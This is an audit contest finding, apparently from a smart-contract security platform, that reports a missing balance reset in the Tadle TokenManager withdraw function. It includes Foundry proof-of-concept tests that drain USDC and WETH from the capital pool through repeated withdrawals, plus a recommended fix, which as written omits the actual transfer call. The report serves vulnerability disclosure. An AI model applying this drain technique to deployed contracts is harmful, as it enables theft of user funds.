Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Missing State Update in TokenManager::withdraw Function

oxelmiguel

Summary

The withdraw function in the TokenManager contract fails to update the user's claimable amount (userTokenBalanceMap) after a withdrawal. This oversight allows users to withdraw more tokens than they are entitled to, potentially draining all contract funds.

Vulnerability Details

  1. State Retrieval: The function retrieves the user's claimable balance from userTokenBalanceMap.

  2. Token Transfer: It transfers the retrieved amount of tokens to the user's address.

  3. State Update Missing: After transferring the tokens, the function fails to update the user's balance in userTokenBalanceMap.

Function in Question

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137

Proof of Concept

Overview:

A legitimate user can call the withdraw function repeatedly to drain the contract funds

Actors:

  • Attacker: The attacker, who is a legitimate user, exploits the vulnerability by repeatedly calling the withdraw function after increasing their balance via TokenManager::addTokenBalance.

Working Test Case

before test work, we should fix the issue in my reports :

  • capitalPool::approve should take tokenAddress as argument instead of tokenManager contract address

  • TokenManager::withdraw Misuses Function Causing All ERC-20 Transfers to Revert

  1. test with erc20 token

​
function test_drain_contract_usdc() public {
// create two user
address alice = vm.addr(10); //the atacker
address bob = vm.addr(11);
​
deal(address(mockUSDCToken), alice, 10500 );
deal(address(mockUSDCToken), bob, 10500 );
​
// alice the attacker create an ask order
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
10000,
10000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address aliceOffr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
// bob will then buy 100 point from alice
// this will increase alice claimable amount by 1000 in sale revenu
vm.startPrank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(aliceOffr, 100);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
​
console2.log("Balance of alice before attack : ", mockUSDCToken.balanceOf(alice));
console2.log("Balance of contract before attack : ", mockUSDCToken.balanceOf(address(capitalPool)));
​
// alice will then call withdraw until this contract balance < claimable Amount
vm.startPrank(alice);
while (mockUSDCToken.balanceOf(address(capitalPool)) > 1000) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
}
​
console2.log("Balance of alice before attack : ", mockUSDCToken.balanceOf(alice));
console2.log("Balance of contract before attack : ", mockUSDCToken.balanceOf(address(capitalPool)));
vm.stopPrank();
}

  1. test with native token

function test_drain_contract_eth() public {
​
// Step 1: Increase TokenPool balance
/*
increase the tokenPool balance to simulate the case where
there are many user collateral in the protocole
*/
deal(address(weth9), 10 ether);
weth9.mint(address(capitalPool), 0.1 ether);
​
​
// step 2
// create new user
address attacker = vm.addr(10);
deal(attacker, 0.019 * 1e18);
// the attacker create an ask offer
vm.startPrank(attacker);
preMarktes.createOffer{value: 0.012 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker{value: 0.005175 * 1e18}(offerAddr, 500);
​
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
​
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
preMarktes.relistOffer(stock1Addr, offer1Addr);
vm.stopPrank();
​
// update the market
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
​
// Settle ask taker
// here attacker close his position and increase his claimableAmount
vm.startPrank(attacker);
deal(address(mockPointToken), attacker, 100000000 * 10 ** 18);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 500);
deliveryPlace.closeBidTaker(stock1Addr);
​
​
// step 3 : start drainning the tokenPool balance
​
// fetch balance data before launch
uint256 userbalancebefore = attacker.balance;
uint256 contractbalancebefore = weth9.balance(address(capitalPool));
// call withdraw 6 times
// @info we can call it as many times as we want if the amount to be withdrawn
// is greater than the contract balance
uint8 i = 0;
while (i < 6 ) {
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
++i;
}
​
​
// log the balance of user and tokenPool before and after attack
console2.log("user balance before attack : ",userbalancebefore);
console2.log("user balance after attack : ",attacker.balance);
console2.log('================================================');
console2.log("contract balance on WETH before attack : ",contractbalancebefore);
console2.log("contract balance on WETH after attack : ", weth9.balance(address(capitalPool)));
vm.stopPrank();
}

Impact

  • Unlimited Withdrawals: Users can exploit this vulnerability to repeatedly withdraw the same amount of tokens without any limit, leading to an indefinite drainage of the contract’s funds.

  • Depletion of Contract Balance: As users continue to exploit this flaw, the contract's balance will be rapidly depleted, potentially leading to a complete loss of all funds held by the contract.

Tools Used

manual review, foundry

Recommendations

Modify the withdraw function to properly update the userTokenBalanceMap before transferring the tokens and revert to initial state in case the transfer failed. This ensures that the user's claimable balance is accurately reflected and prevents repeated withdrawals of the same amount.

​
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
//****
​
// update the state before sending the fund to prevent any reentrancy atack
userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType] = 0;
​
/*
perform the transfer, and if it faild revert to initial state
​
*/
​
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
​
​
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!